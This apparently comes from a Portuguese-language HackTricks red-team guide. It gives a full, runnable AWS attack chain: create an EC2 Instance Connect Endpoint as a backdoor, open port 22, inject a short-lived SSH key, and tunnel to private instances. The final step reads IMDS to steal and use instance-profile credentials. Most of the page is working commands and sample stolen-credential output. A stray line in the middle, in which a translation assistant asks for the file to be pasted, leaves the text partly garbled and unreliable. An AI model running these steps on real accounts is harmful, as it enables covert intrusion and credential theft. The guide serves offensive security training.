AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

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Abuse EC2 Instance Connect Endpoint (EIC Endpoint) para obter acesso SSH de entrada a instâncias EC2 privadas (sem IP público/bastion) por:

  • Criar um EIC Endpoint dentro da sub-rede de destino
  • Permitir SSH de entrada no SG de destino a partir do SG do EIC Endpoint
  • Injetar uma chave pública SSH de curta duração (válida ~60 segundos) com ec2-instance-connect:SendSSHPublicKey
  • Abrir um túnel EIC e pivotar para a instância para roubar credenciais do instance profile do IMDS

Impact: caminho de acesso remoto furtivo para instâncias EC2 privadas que contorna bastions e restrições de IP público. O atacante pode assumir o instance profile e operar na conta.

Requisitos

  • Permissões para:
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Instância Linux alvo com servidor SSH e EC2 Instance Connect habilitado (Amazon Linux 2 ou Ubuntu 20.04+). Usuários padrão: ec2-user (AL2) ou ubuntu (Ubuntu).

Variáveis

bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

Criar EIC Endpoint

bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

Permitir tráfego do EIC Endpoint para a instância de destino

bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Injetar chave SSH efêmera e abrir túnel

bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Prova de Post-exploitation (steal instance profile credentials)

bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

I don't have the file content. Please paste the markdown text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md and I'll translate it to Portuguese.

json
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

Use os creds roubados localmente para verificar a identidade:

bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Limpeza

bash
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

Notas

  • A chave SSH injetada é válida por apenas ~60 segundos; envie a chave imediatamente antes de abrir o túnel/SSH.
  • OS_USER deve corresponder à AMI (por exemplo, ubuntu para Ubuntu, ec2-user para Amazon Linux 2).

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Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

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